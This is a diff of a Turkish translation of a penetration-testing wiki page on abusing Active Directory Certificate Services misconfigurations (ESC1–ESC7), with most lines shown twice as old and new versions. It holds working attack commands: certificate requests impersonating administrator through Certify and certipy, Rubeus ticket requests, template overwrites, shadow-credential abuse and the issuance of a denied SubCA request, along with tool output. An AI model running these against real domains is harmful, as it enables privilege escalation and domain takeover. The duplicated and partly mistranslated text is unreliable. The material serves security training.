Belirtilen yapılandırma, düşük ayrıcalıklı kullanıcıların istedikleri herhangi bir SAN ile sertifikalar talep etmelerine izin verir, bu da Kerberos veya SChannel aracılığıyla herhangi bir etki alanı prensibi olarak kimlik doğrulamasını sağlar.
{% endhint %}
Bu özellik bazen, ürünlerin veya dağıtım hizmetlerinin HTTPS veya ana bilgisayar sertifikalarının anlık olarak oluşturulmasını desteklemek veya anlayış eksikliğinden dolayı etkinleştirilir.
Bu özellik bazen, HTTPS veya ana bilgisayar sertifikalarının ürünler veya dağıtım hizmetleri tarafından anlık olarak oluşturulmasını desteklemek veya anlayış eksikliğinden dolayı etkinleştirilir.
Bu seçeneği etkinleştirmenin, var olan bir sertifika şablonu (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` özelliğine sahip olan `WebServer` şablonu) çoğaltıldığında ve ardından kimlik doğrulama OID'si içerecek şekilde değiştirildiğinde bir uyarı tetiklediği, bu durumun mevcut olmadığına dikkat edilmelidir.
Bu seçeneğin etkinleştirilmesiyle bir sertifika oluşturmanın bir uyarıyı tetiklediği, mevcut bir sertifika şablonunun (örneğin, `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` özelliğine sahip olan `WebServer` şablonu gibi) çoğaltıldığında ve ardından kimlik doğrulama OID'si içerecek şekilde değiştirildiğinde durumun böyle olmadığı belirtilmiştir.
### Kötüye Kullanım
@ -59,14 +59,14 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128
Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin
certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local'
```
Sonra üretilen **sertifikayı `.pfx`** formatına dönüştürebilir ve tekrar **Rubeus veya certipy kullanarak kimlik doğrulaması yapabilirsiniz**:
Sonra üretilen **sertifikayı `.pfx`** formatına dönüştürebilir ve tekrar **Rubeus veya certipy kullanarak kimlik doğrulaması yapabilirsiniz:**
```bash
Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:password123! /ptt
certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100
```
Windows ikili dosyaları "Certreq.exe" ve "Certutil.exe" PFX'i oluşturmak için kullanılabilir: [https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee](https://gist.github.com/b4cktr4ck2/95a9b908e57460d9958e8238f85ef8ee)
AD Ormanı yapılandırma şemasındaki sertifika şablonlarının numaralandırılması, onay veya imza gerektirmeyen, Müşteri Kimlik Doğrulaması veya Akıllı Kart Girişi EKU'ya sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının etkin olduğu belirli sertifika şablonları, aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
AD Ormanı yapılandırma şeması içindeki sertifika şablonlarının numaralandırılması, özellikle onay veya imza gerektirmeyen, Bir Müşteri Kimlik Doğrulaması veya Akıllı Kart Girişi EKU'ya sahip ve `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` bayrağının etkin olduğu şablonlar için aşağıdaki LDAP sorgusunu çalıştırarak gerçekleştirilebilir:
```
(&(objectclass=pkicertificatetemplate)(!(mspki-enrollmentflag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-rasignature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.2.3.4)(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*)))(mspkicertificate-name-flag:1.2.840.113556.1.4.804:=1))
```
@ -76,17 +76,17 @@ AD Ormanı yapılandırma şemasındaki sertifika şablonlarının numaralandır
İkinci kötüye kullanım senaryosu birinci senaryonun bir varyasyonudur:
1. Kurumsal CA tarafından düşük ayrıcalıklı kullanıcılara kayıt hakları verilir.
2. Yönetici onayı gereksinimi devre dışı bırakılmıştır.
1. Düşük ayrıcalıklı kullanıcılara Kurumsal CA tarafından kayıt hakları verilir.
2. Yönetici onayı gerekliliği devre dışı bırakılmıştır.
3. Yetkili imzaların gerekliliği ihmal edilmiştir.
4. Sertifika şablonundaki aşırı derecede izin verici güvenlik tanımlayıcısı, düşük ayrıcalıklı kullanıcılara sertifika kayıt hakları verir.
5. **Sertifika şablonu, Her Amaçlı EKU'yu veya hiçbir EKU'yu içerecek şekilde tanımlanmıştır.**
5. **Sertifika şablonu, Her Amaçlı EKU veya hiçbir EKU içerecek şekilde tanımlanmıştır.**
**Her Amaçlı EKU**, bir saldırganın istemci kimlik doğrulama, sunucu kimlik doğrulama, kod imzalama vb. dahil olmak üzere **herhangi bir amaç** için sertifika almasına izin verir. Bu senaryoyu sömürmek için **ESC3 için kullanılan teknik** aynı şekilde kullanılabilir.
**Hiçbir EKU**'ya sahip sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için sömürülebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan alt CA sertifikasını kullanarak yeni sertifikalarda keyfi EKU'ları veya alanları belirtebilir.
**Hiçbir EKU** içeren sertifikalar, alt CA sertifikaları olarak hareket eder ve **herhangi bir amaç** için sömürülebilir ve **yeni sertifikaları imzalamak için de kullanılabilir**. Bu nedenle, bir saldırgan alt CA sertifikasını kullanarak yeni sertifikalarda keyfi EKU'ları veya alanları belirtebilir.
Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, **varsayılan ayar olan `NTAuthCertificates`** nesnesi tarafından güvenilmiyorsa işlev görmeyecektir. Bununla birlikte, bir saldırgan hala **herhangi bir EKU ve keyfi sertifika değerleri ile yeni sertifikalar oluşturabilir**. Bu, geniş bir amaçlar yelpazesinde (örneğin, kod imzalama, sunucu kimlik doğrulama vb.) **kötüye kullanılabilecek** ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçları olabilir.
Ancak, **alan kimlik doğrulaması** için oluşturulan yeni sertifikalar, **`NTAuthCertificates`** nesnesi tarafından güvenilmeyen alt CA tarafından güvenilmediğinde çalışmaz, bu varsayılan ayar. Bununla birlikte, bir saldırgan hala **herhangi bir EKU ve keyfi sertifika değerleri ile yeni sertifikalar oluşturabilir**. Bu, geniş bir amaçlar yelpazesi için potansiyel olarak **kötüye kullanılabilir** (örneğin, kod imzalama, sunucu kimlik doğrulama vb.) ve SAML, AD FS veya IPSec gibi ağdaki diğer uygulamalar için önemli sonuçları olabilir.
Bu senaryoya uyan şablonları AD Ormanı yapılandırma şeması içinde sıralamak için aşağıdaki LDAP sorgusu çalıştırılabilir:
```
@ -96,11 +96,11 @@ Bu senaryoya uyan şablonları AD Ormanı yapılandırma şeması içinde sıral
### Açıklama
Bu senaryo, farklı bir EKU'yu (Sertifika İsteği Ajanı) istismar ederek ve **2 farklı şablon** kullanarak ilk ve ikinci senaryoya benzerdir (bu nedenle 2 farklı gereksinim setine sahiptir).
Bu senaryo, farklı bir EKU'yu (Sertifika İstek Ajanı) istismar ederek ve 2 farklı şablon kullanarak ilk ve ikinci senaryoya benzerdir (bu nedenle 2 gereksinim setine sahiptir).
Microsoft belgelerinde **Kayıt Ajanı** olarak bilinen **Sertifika İsteği Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), bir başka kullanıcı adına sertifika için bir başka kullanıcı adına **kayıt olmasına izin verir**.
Microsoft belgelerinde **Kayıt Ajanı** olarak bilinen **Sertifika İstek Ajanı EKU** (OID 1.3.6.1.4.1.311.20.2.1), bir başka kullanıcı adına bir sertifika için bir başkası adına **kayıt olmasına izin verir**.
**"kayıt ajanı"**, bu tür bir **şablona kaydolur** ve sonuçta oluşan **sertifikayı diğer kullanıcı adına bir CSR'yi işaretlemek için kullanır**. Daha sonra **işaretlenmiş CSR'yi** CA'ya gönderir, "başkası adına kaydol" izni veren bir **şablona kaydolur** ve CA, "diğer" kullanıcıya ait bir **sertifika ile yanıt verir**.
**"Kayıt ajanı"**, bu tür bir **şablona kaydolur** ve sonuçta oluşan **sertifikayı diğer kullanıcı adına bir CSR'yi işaretlemek için kullanır**. Daha sonra **işaretlenmiş CSR'yi** CA'ya gönderir, "başkası" kullanıcısına ait bir sertifika olan bir **şablona kaydolur**.
**Gereksinimler 1:**
@ -108,19 +108,19 @@ Microsoft belgelerinde **Kayıt Ajanı** olarak bilinen **Sertifika İsteği Aja
* Yönetici onayı gereksinimi atlanmıştır.
* Yetkili imzalar için gereksinim yoktur.
* Sertifika şablonunun güvenlik tanımlayıcısıırı derecede izin verici olup, düşük ayrıcalıklı kullanıcılara kayıt hakları vermektedir.
* Sertifika şablonu, Sertifika İsteği Ajanı EKU'yu içerir ve diğer prensipler adına diğer sertifika şablonlarını isteme olanağı sağlar.
* Sertifika şablonu, Sertifika İstek Ajanı EKU'yu içerir ve diğer prensipler adına diğer sertifika şablonlarının istenmesine olanak tanır.
**Gereksinimler 2:**
* Kurumsal CA, düşük ayrıcalıklı kullanıcılara kayıt hakları verir.
* Yönetici onayı atlanır.
* Şablonun şema sürümü 1 veya 2'yi aşar ve Sertifika İsteği Ajanı EKU'yu gerektiren bir Uygulama Politikası İhraç Gereksinimi belirtir.
* Yönetici onayı atlanmıştır.
* Şablonun şema sürümü 1 veya 2'yi aşmaktadır ve Sertifika İstek Ajanı EKU'yu gerektiren bir Uygulama Politikası İhraç Gereksinimi belirtir.
* Sertifika şablonunda tanımlanan bir EKU, etki alanı kimlik doğrulamasına izin verir.
* Kayıt ajanları için kısıtlamalar CA üzerinde uygulanmaz.
* CA üzerinde kayıt ajanları için kısıtlamalar uygulanmamıştır.
### Kötüye Kullanım
### İstismar
Bu senaryoyu istismar etmek için [**Certify**](https://github.com/GhostPack/Certify) veya [**Certipy**](https://github.com/ly4k/Certipy) kullanabilirsiniz:
Bu senaryoyu istismar etmek için [**Certify**](https://github.com/GhostPack/Certify) veya [**Certipy**](https://github.com/ly4k/Certipy) araçlarını kullanabilirsiniz:
```bash
# Request an enrollment agent certificate
Certify.exe request /ca:DC01.DOMAIN.LOCAL\DOMAIN-CA /template:Vuln-EnrollmentAgent
@ -134,11 +134,11 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
# Use Rubeus with the certificate to authenticate as the other user
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
```
**Kullanıcılara** **bir** **kayıt acentesi sertifikası almak** için izin verilen, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt acentesi olarak hareket edebilecek **hesaplar** kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **snap-in**'i açarak, CA'ya **sağ tıklayarak**, **Özellikler**'i tıklayarak ve ardından "Kayıt Acenteleri" sekmesine **gezerek** başarılır.
**Kullanıcılara** **bir** **kayıt acentesi sertifikası almak** için izin verilen, kayıt **ajanlarının** kayıt olmasına izin verilen şablonlar ve kayıt acentesi olarak hareket edebilecek **hesaplar** kurumsal CA'lar tarafından kısıtlanabilir. Bu, `certsrc.msc` **eklentisini** açarak, CA'ya **sağ tıklayarak**, **Özellikler'i tıklayarak** ve ardından "Kayıt Acenteleri" sekmesine **gezerek** başarılır.
Ancak, CA'lar için **varsayılan** ayarın "Kayıt acentelerini kısıtlama" olmadığı **belirtilmektedir**. Yöneticiler tarafından kayıt acentelerine kısıtlama getirildiğinde, bunu "Kayıt acentelerini kısıtla" olarak ayarlamak, varsayılan yapılandırmanın son derece geniş kapsamlı kalmasını sağlar. Herkese tüm şablonlara kayıt olma izni verir.
Ancak, CA'lar için **varsayılan** ayarın "Kayıt acentelerini kısıtlama" olmadığı **belirtilmektedir**. Yöneticiler tarafından kayıt acentelerine kısıtlama getirildiğinde, bunu "Kayıt acentelerini kısıtla" olarak ayarlamak, varsayılan yapı son derece geniş kapsamlı kalır. Herkese, herhangi bir şablonda herkesin kayıt olmasına izin verir.
## Zayıf Sertifika Şablonu Erişim Kontrolü - ESC4
## Kırılgan Sertifika Şablonu Erişim Kontrolü - ESC4
### **Açıklama**
@ -146,13 +146,13 @@ Ancak, CA'lar için **varsayılan** ayarın "Kayıt acentelerini kısıtlama" ol
Bir **saldırganın** bir **şablonu değiştirme** ve **önceki bölümlerde belirtilen** herhangi bir **sömürülebilir yapılandırmayı** **kurma** yetkisine sahip olması durumunda, ayrıcalık yükseltmesi kolaylaştırılabilir.
Sertifika şablonlarına uygulanabilen dikkate değer izinler şunlardır:
Sertifika şablonları için geçerli olan dikkate değer izinler şunlardır:
* **Sahip:** Nesne üzerindeki denetimi sağlar ve herhangi bir özelliği değiştirme yeteneği verir.
* **Tam Kontrol:** Nesne üzerinde tam yetki sağlar, tüm özellikleri değiştirme yeteneği dahil.
* **WriteOwner:** Nesnenin sahibini saldırganın kontrolündeki bir prensibe değiştirme izni verir.
* **WriteDacl:** Erişim kontrollerini ayarlama izni verir ve saldırganın Tam Kontrol yetkisini almasına olanak tanır.
* **WriteProperty:** Herhangi bir nesne özelliğini düzenlemeyi yetkilendirir.
- **Sahip:** Nesne üzerindeki denetimi sağlar ve herhangi bir özelliği değiştirme yeteneğini sağlar.
- **Tam Kontrol:** Nesne üzerinde tam yetki sağlar, herhangi bir özelliği değiştirme yeteneği dahil.
- **WriteOwner:** Nesnenin sahibini saldırganın kontrolündeki bir prensibe değiştirme izni verir.
- **WriteDacl:** Erişim denetimlerinin ayarlanmasına izin verir ve bir saldırgana Tam Kontrol sağlayabilir.
- **WriteProperty:** Herhangi bir nesne özelliğinin düzenlenmesine izin verir.
### Kötüye Kullanım
@ -160,13 +160,13 @@ Sertifika şablonlarına uygulanabilen dikkate değer izinler şunlardır:
<figure><img src="../../../.gitbook/assets/image (811).png" alt=""><figcaption></figcaption></figure>
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma izinlerine sahip olduğu durumdur. Bu örneğin, sertifika şablonunun yapılandırmasını üzerine yazmak suretiyle şablonun ESC1'e karşı savunmasız hale getirilmesi şeklinde kötüye kullanılabilir.
ESC4, bir kullanıcının bir sertifika şablonu üzerinde yazma izinlerine sahip olduğu durumdur. Bu örneğin, sertifika şablonunun yapılandırmasını üzerine yazmak suretiyle şablonu ESC1'e karşı savunmasız hale getirmek için kötüye kullanılabileceği anlamına gelir.
Yukarıdaki yolculukta, yalnızca `JOHNPC`'nin bu izinlere sahip olduğunu görebiliriz, ancak kullanıcımız `JOHN`, `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarını eklemiştir. Bu teknik sertifikalarla ilgili olduğundan, bu saldırıyı da uyguladım, ki bu da [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinen bir saldırıdır. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
Yukarıdaki yolda görebileceğimiz gibi, yalnızca `JOHNPC`'nin bu ayrıcalıkları olduğu, ancak kullanıcımız `JOHN`'un `JOHNPC`'ye yeni `AddKeyCredentialLink` kenarını eklediği görülmektedir. Bu teknik sertifikalarla ilgili olduğundan, [Gölge Kimlik Bilgileri](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) olarak bilinen bu saldırıyı da uyguladım. İşte kurbanın NT hash'ini almak için Certipy'nin `shadow auto` komutunun küçük bir önizlemesi.
```bash
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
```
**Certipy**, bir komutla bir sertifika şablonunun yapılandırmasını üzerine yazabilir. **Varsayılan olarak**, Certipy, yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde üzerine yazar**. Ayrıca **`-save-old` parametresini belirterek eski yapılandırmayı kaydedebiliriz**, bu da saldırımızdan sonra yapılandırmayı **geri yüklemek için** faydalı olacaktır.
**Certipy**, bir komutla bir sertifika şablonunun yapılandırmasını üzerine yazabilir. **Varsayılan olarak**, Certipy, yapılandırmayı **ESC1'e karşı savunmasız hale getirecek şekilde üzerine yazar**. Ayrıca **`-save-old` parametresini belirterek eski yapılandırmayı kaydedebiliriz**, bu da saldırımızdan sonra yapılandırmayı geri yüklemek için faydalı olacaktır.
```bash
# Make template vuln to ESC1
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
@ -181,11 +181,11 @@ certipy template -username john@corp.local -password Passw0rd -template ESC4-Tes
### Açıklama
Sertifika şablonları ve sertifika yetkilisi ötesinde birçok nesneyi içeren geniş ACL tabanlı ilişkiler ağı, AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilecek bu nesneler şunları içerir:
Sertifika şablonları ve sertifika yetkilisi ötesinde birçok nesneyi içeren geniş ACL tabanlı ilişkiler ağı, AD CS sisteminin güvenliğini etkileyebilir. Güvenliği önemli ölçüde etkileyebilen bu nesneler şunları içerir:
* CA sunucusunun AD bilgisayar nesnesi, S4U2Self veya S4U2Proxy gibi mekanizmalar aracılığıyla tehlikeye atılabilir.
* CA sunucusunun RPC/DCOM sunucusu.
* Belirli bir konteyner yolundaki (`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`) herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifika Yetkilileri konteyneri, NTAuthCertificates nesnesi ve Enrollment Services Konteyneri gibi konteynerleri ve nesneleri içerir ancak bunlarla sınırlı değildir.
* Belirli bir konteyner yolundaki (`CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`) herhangi bir alt AD nesnesi veya konteyner. Bu yol, Sertifika Şablonları konteyneri, Sertifika Yetkilileri konteyneri, NTAuthCertificates nesnesi ve Enrollment Services Konteyneri gibi konteynerleri ve nesneleri içerir, ancak bunlarla sınırlı değildir.
PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırganın bu kritik bileşenlerden herhangi biri üzerinde kontrol sağlamayı başarması durumunda tehlikeye girebilir.
@ -193,7 +193,7 @@ PKI sisteminin güvenliği, düşük ayrıcalıklı bir saldırganın bu kritik
### Açıklama
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinmektedir. Bu yapılandırma, bir Sertifika Yetkilisi (CA) üzerinde etkinleştirildiğinde, **kullanıcı tanımlı değerlerin** **konu alternatif adı** içine **dahil edilmesine** izin verir. Bu, Active Directory® tarafından oluşturulan talepler de dahil olmak üzere **herhangi bir talep** için geçerlidir. Sonuç olarak, bu düzenek, bir **saldırganın** domain **kimlik doğrulaması** için kurulmuş **herhangi bir şablon** üzerinden kaydolmasına izin verir—özellikle standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydına açık olanlar. Bu sayede, bir sertifika güvence altına alınabilir ve saldırganın etki alanındaki bir etki alanı yöneticisi veya **herhangi başka bir etkin varlık** olarak kimlik doğrulaması yapmasına olanak tanır.
[**CQure Academy gönderisinde**](https://cqureacademy.com/blog/enhanced-key-usage) tartışılan konu, Microsoft tarafından belirtilen **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağının etkilerine de değinmektedir. Bu yapılandırma, bir Sertifika Yetkilisi (CA) üzerinde etkinleştirildiğinde, **kullanıcı tanımlı değerlerin** **konu alternatif adı** içine **dahil edilmesine** izin verir. Bu, Active Directory® tarafından oluşturulan talepler de dahil olmak üzere **herhangi bir talep** için geçerlidir. Sonuç olarak, bu düzenek bir **saldırganın** domain **kimlik doğrulaması** için kurulmuş **herhangi bir şablon** üzerinden kaydolmasına izin verir—özellikle standart Kullanıcı şablonu gibi **ayrıcalıksız** kullanıcı kaydı için açık olanlar. Bu sayede, bir sertifika sağlanabilir ve saldırganın etki alanındaki bir etki alanı yöneticisi veya **başka bir etkin varlık** olarak kimlik doğrulaması yapmasına olanak tanır.
**Not**: `-attrib "SAN:"` argümanıyla bir Sertifika İmzalama İsteği'ne (CSR) **alternatif adlar** eklemek için kullanılan yaklaşım, ESC1'deki SAN'ların sömürülme stratejisinden **farklılık** gösterir. Buradaki fark, **hesap bilgilerinin nasıl kapsüllendiği**—bir sertifika özniteliği içinde, bir uzantı yerine.
@ -207,7 +207,7 @@ Bu işlem temelde **uzak kayıt defteri erişimi** kullanır, dolayısıyla alte
```bash
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
```
Aşağıdaki gibi araçlar [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) bu yan yapılandırmayı tespit etme ve sömürme yeteneğine sahiptir:
Aşağıdaki gibi araçlar [**Certify**](https://github.com/GhostPack/Certify) ve [**Certipy**](https://github.com/ly4k/Certipy) bu yan yapılandırmayı tespit edebilir ve bunu sömürebilir:
```bash
# Detect vulnerabilities, including this one
Certify.exe find
@ -216,17 +216,17 @@ Certify.exe find
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
```
Bu ayarları değiştirmek için, **alan yönetici** haklarına veya buna eşdeğer haklara sahip olduğunuzu varsayarak, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
Bu ayarları değiştirmek için, **alan yönetici** haklarına veya buna eşdeğer haklara sahip olduğu varsayılarak, aşağıdaki komut herhangi bir iş istasyonundan çalıştırılabilir:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
```
Bu yapılandırmayı ortamınızda devre dışı bırakmak için bayrak şu şekilde kaldırılabilir:
Bu yapılandırmayı etkisiz hale getirmek için ortamınızda bayrak kaldırılabilir:
```bash
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
```
{% hint style="warning" %}
Mayıs 2022 güvenlik güncellemelerinden sonra, yeni verilen **sertifikalar**, **isteyenin `objectSid` özelliğini** içeren bir **güvenlik uzantısı** içerecektir. ESC1 için bu SID belirtilen SAN'dan türetilir. Ancak **ESC6** için, SID isteyenin `objectSid`'ini yansıtır, SAN değil.\
ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duyarlı olması** gereklidir, bu da **SAN'ı yeni güvenlik uzantısının üzerine tercih eder**.
ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duyarlı olması gereklidir**, bu da yeni güvenlik uzantısını SAN'ın üzerine önceliklendirir.
{% endhint %}
## Zayıf Sertifika Yetkilisi Erişim Kontrolü - ESC7
@ -235,15 +235,15 @@ ESC6'yı sömürmek için, sistemin **ESC10'a (Zayıf Sertifika Eşlemeleri) duy
#### Açıklama
Bir sertifika yetkilisi için erişim kontrolü, CA lemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler, `certsrv.msc`'ye erişilerek, bir CA'ya sağ tıklanarak, özelliklerin seçilmesi ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu gibi komutlarla sıralanabilir:
Bir sertifika yetkilisi için erişim kontrolü, CA eylemlerini yöneten bir dizi izin aracılığıyla sağlanır. Bu izinler, `certsrv.msc`'ye erişilerek, bir CA'ya sağ tıklanarak, özelliklerin seçilerek ve ardından Güvenlik sekmesine gidilerek görüntülenebilir. Ayrıca, izinler PSPKI modülü kullanılarak şu komutlarla sıralanabilir:
```bash
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
```
Bu, öncelikli haklar olan **`ManageCA`** ve **`ManageCertificates`** ile ilişkilendirilen "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine dair içgörüler sağlar.
Bu, öncelikli haklar olan **`ManageCA`** ve **`ManageCertificates`** ile ilişkilendirilen "CA yöneticisi" ve "Sertifika Yöneticisi" rollerine içgörüler sağlar.
#### Kötüye Kullanım
Bir sertifika otoritesinde **`ManageCA`** haklarına sahip olmak, PSPKI kullanarak uzaktan ayarları manipüle etme olanağı sağlar. Bu, herhangi bir şablon içinde SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açma işlevini içerir, alan yükseltmenin kritik bir yönüdür.
Bir sertifika yetkilisine **`ManageCA`** hakları vermek, PSPKI kullanarak uzaktan ayarları manipüle etmesine olanak tanır. Bu, herhangi bir şablon içinde SAN belirtimine izin vermek için **`EDITF_ATTRIBUTESUBJECTALTNAME2`** bayrağını açma işlevini içerir, alan yükseltmenin kritik bir yönüdür.
Bu sürecin basitleştirilmesi, PSPKI'nın **Enable-PolicyModuleFlag** cmdlet'inin kullanımıyla doğrudan GUI etkileşimi olmadan değişiklikler yapılmasını sağlar.
@ -270,7 +270,7 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
#### Açıklama
{% hint style="warning" %}
Önceki saldırıda **`Yönet CA`** izinleri kullanılarak **EDITF\_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için **ESC6 saldırısını** gerçekleştirmek için CA hizmeti (`CertSvc`) yeniden başlatılana kadar herhangi bir etkisi olmayacaktır. Bir kullanıcı **Yönet CA** erişim hakkına sahip olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine de sahiptir. Ancak, bu, kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez. Ayrıca, **Mayıs 2022 güvenlik güncellemeleri nedeniyle çoğu yamalı ortamda ESC6'nın çalışmayabileceği** unutulmamalıdır.
Önceki saldırıda **`Yönet CA`** izinleri kullanılarak **EDITF\_ATTRIBUTESUBJECTALTNAME2** bayrağını etkinleştirmek için **ESC6 saldırısını** gerçekleştirmek için CA hizmeti (`CertSvc`) yeniden başlatılana kadar herhangi bir etkisi olmayacaktır. Bir kullanıcı **Yönet CA** erişim hakkına sahip olduğunda, kullanıcı aynı zamanda **hizmeti yeniden başlatma** iznine sahiptir. Ancak, bu, kullanıcının hizmeti uzaktan yeniden başlatabileceği anlamına gelmez. Dahası, **Mayıs 2022 güvenlik güncellemeleri nedeniyle ESC6'nın çoğu yamalı ortamda çalışmayabileceği** unutulmamalıdır.
{% endhint %}
Bu nedenle, burada başka bir saldırı sunulmaktadır.
@ -281,7 +281,7 @@ Bu nedenle, burada başka bir saldırı sunulmaktadır.
- **`Manage Certificates`** izni ( **`ManageCA`** üzerinden verilebilir)
- Sertifika şablonu **`SubCA`** etkin olmalıdır ( **`ManageCA`** üzerinden etkinleştirilebilir)
Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika istekleri** verebileceği gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e** karşı savunmasızdır, ancak **yalnızca yöneticiler** şablona kaydolabilir. Bu nedenle, bir **kullanıcı**, **`SubCA`**'ya kaydolma **istekte bulunabilir** - bu **reddedilecektir** - ancak **ardından yönetici tarafından verilecektir**.
Teknik, `Manage CA` _ve_ `Manage Certificates` erişim hakkına sahip kullanıcıların **başarısız sertifika istekleri** verebileceği gerçeğine dayanır. **`SubCA`** sertifika şablonu **ESC1'e** karşı savunmasızdır, ancak **yalnızca yöneticiler** şablona kaydolabilir. Bu nedenle, bir **kullanıcı**, **`SubCA`**'ya kaydolma isteğinde bulunabilir - bu istek **reddedilecektir** - ancak **ardından yönetici tarafından verilecektir**.
#### Kötüye Kullanım
@ -292,7 +292,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`** şablonu, CA üzerinde `-enable-template` parametresi ile etkinleştirilebilir. Varsayılan olarak, `SubCA` şablonu etkindir.
**`SubCA`** şablonu, varsayılan olarak etkinleştirilmiş olan `-enable-template` parametresiyle CA üzerinde etkinleştirilebilir.
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -306,7 +306,7 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
```
Eğer bu saldırı için gerekli koşulları yerine getirdiysek, **`SubCA` şablonuna dayalı bir sertifika isteyerek** başlayabiliriz.
**Bu istek reddedilecek**, ancak özel anahtarı kaydedecek ve istek kimliğini not edeceğiz.
**Bu istek reddedilecek**, ancak özel anahtarı kaydedip istek kimliğini not edeceğiz.
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -318,7 +318,7 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
**`Yönet CA` ve `Sertifikaları Yönet`** ile ardından `ca` komutu ve `-issue-request <istek Kimliği>` parametresi ile **başarısız olan sertifika** isteğini **verebiliriz**.
**`Yönet CA` ve `Sertifikaları Yönet`** ile ardından `ca` komutu ve `-issue-request <istek Kimliği>` parametresi ile başarısız sertifika isteğini **verebiliriz**.
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -337,28 +337,28 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
